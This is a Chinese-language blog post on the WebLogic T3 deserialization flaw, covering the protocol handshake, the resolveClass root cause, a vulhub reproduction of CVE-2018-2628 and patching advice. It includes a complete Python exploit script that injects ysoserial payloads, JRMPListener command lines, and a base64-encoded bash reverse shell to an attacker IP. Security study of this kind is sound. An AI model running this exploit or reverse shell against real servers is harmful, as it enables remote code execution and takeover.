WebLogic T3反序列化漏洞

smileleooo發表於2024-06-06

目錄
  • 前言
  • T3協議概述
  • T3反序列漏洞分析
  • 漏洞復現
  • 修復措施

前言

WebLogic的反序列化漏洞是一個經典的漏洞系列,原因就在於WebLogic在通訊過程中使用T3協議傳輸資料,涉及到了序列化和反序列化操作。

T3協議概述

T3協議是Oracle的私有協議,所以公開的相關資料比較少,這裡結合其他師傅的部落格簡單對T3協議進行一個簡要分析。

T3協議是WebLogic的一種專有通訊協議,在Weblogic中的RMI通訊是使用T3協議實現的(一般的RMI通訊使用的是JRMP協議)。

在T3協議中協議協商的協商階段,會傳送一個請求包頭(handshake)用來表明這是一個T3協議,它負責定義資料包的基本結構和傳輸協議的版本資訊。

客戶端會首先傳送下面的資訊給weblogic伺服器:

t3 12.2.3
AS:255
HL:19
nMS:10000000

使用Python模擬傳送一個請求包的頭:

import socket

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

Wireshark對它進行抓包:

image

可以看到伺服器接收到資訊後,會回覆類似的訊息:

HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN

響應包頭中HELO後面的內容是被連線的weblogic的版本號12.2.1.3。通訊雙方根據對方發來的協議協商資訊,開始建立連線。

再協商完畢上面的資訊後,客戶端會向服務端傳送自己的詳細資訊,這是一段二進位制資料。在這段二進位制流的前4bytes標識了本次請求的資料長度,然後直到遇到aced 0005序列化資料的標識之前,這部分內容被稱為PeerInfo。

以這個PoC指令碼( https://www.exploit-db.com/exploits/44553 )請求資料包為例:

image

aced 0005之後的就是實際傳輸的序列化資料。

關於T3協議更加詳細的分析可以看這位師傅的部落格:https://www.cnblogs.com/unicodeSec/p/14378757.html

T3反序列漏洞分析

前面提到WebLogic的RMI是透過T3協議實現的,在T3協議的傳輸過程中同樣會進行序列化和反序列化的操作,所以說T3的反序列漏洞和RMI的反序列漏洞的原理幾乎是一致的。

大部分的WebLogic的利用指令碼都是使用python編寫的,比如上面提到的那個PoC指令碼。基本的思路都是替換WebLogic T3協議流中aced 0005部分為惡意的序列化資料來實現反序列化攻擊。其實也就就是把ysoserial生成的Payload變成T3協議裡的資料格式。

除了由 Exploit Database 提供的利用指令碼,還有國內其他師傅寫的指令碼:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #資料包長度,先佔位,後面會根據實際情況重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭
    flag = binascii.a2b_hex(b"fe010000") #反序列化資料標誌
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

原理都是一樣的,把生成的Payload替換掉原來的序列化的部分,但要保證T3協議格式仍然正確。

造成反序列漏洞的原因一般都是readObject方法在進行反序列化操作出現了問題,T3協議的反序列漏洞也不例外。T3協議接收過來的資料會在weblogic.rjvm.InboundMsgAbbrev#readObject這裡進行反序列化操作。

借一張其他師傅部落格的圖:

image

中間的呼叫過程先不談,導致的漏洞產生的直接原因就是在resolveClass方法中也沒做任何的校驗。

這個resolveClass方法的作用是將類的序列化描述符加工成該類的Class物件。resolveClass沒有任何校驗的話,就意味著它會獲取任意的類的Class物件,這就有了可乘之機,可以輕易獲取我們惡意的類的Class物件,從而造成反序列漏洞。

T3協議的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在於Commons-Collections這個庫的CC鏈1的利用。到後來的CVE-2016-0638和CVE-2016-3510都也很類似。

到17年之後的漏洞開始透過構造JRMP伺服器監聽的方法反向觸發,比如第一個CVE-2017-3248,到後來的CVE-2018-2628它對上一個的繞過,之後還有CVE-2020-2555,CVE-2020-2883等漏洞。

漏洞復現

這裡使用vulhub的CVE-2018-2628環境來複現T3協議反序列化命令執行漏洞。

影響版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

環境搭建:

cd ./vulhub/weblogic/CVE-2018-2628
docker compose up -d

透過nmap可以探測Weblogic的T3協議是否啟用,以及版本號:

image

利用 ysoserial 的攻擊流程都大同小異,首先使用JRMPListener開啟一個JRMP服務監聽,利用鏈這裡選擇CC1鏈。

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用 exp 指令碼(python2指令碼,python3執行報錯),向目標Weblogic傳送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

# 192.168.88.150 是靶機IP,7001是Weblogic埠

exp執行完成後,靶機回連本地JRMP服務,JRMP服務端收到請求:

image

執行docker compose exec weblogic bash進入容器中,可見檔案已成功建立:

image

除了RCE,還有反彈shell都是類似的操作。

首先,在kali中透過 nc 監聽本地埠:

nc -lvvp 12345

接著準備反彈shell的程式碼:

bash -i >& /dev/tcp/192.168.88.128/12345 0>&1

由於Runtime.getRuntime().exec()中不能使用重定向和管道符,這裡需要對其進行base64編碼再使用:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地開啟JRMP監聽,監聽本地2333埠,利用鏈依然使用CC1鏈:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

利用 exp 指令碼,向目標Weblogic傳送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

exp 指令碼執行完成後,反彈shell成功:

image

修復措施

  • 關閉T3服務:如果Weblogic控制檯埠(預設為7001埠)開放,T3服務會預設開啟。關閉T3服務或控制T3服務的訪問許可權可以防護該漏洞。

  • 更新補丁:應用Oracle官方釋出的最新補丁,並升級JDK至1.7.0.21以上版本。

  • 更改程式碼:如果無法應用補丁或更新JDK,可以考慮更改程式碼,例如在黑名單中新增特定的類名,以阻斷漏洞利用。

參考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞復現
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
https://www.cnblogs.com/unicodeSec/p/14378757.html
https://www.freebuf.com/vuls/229140.html


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章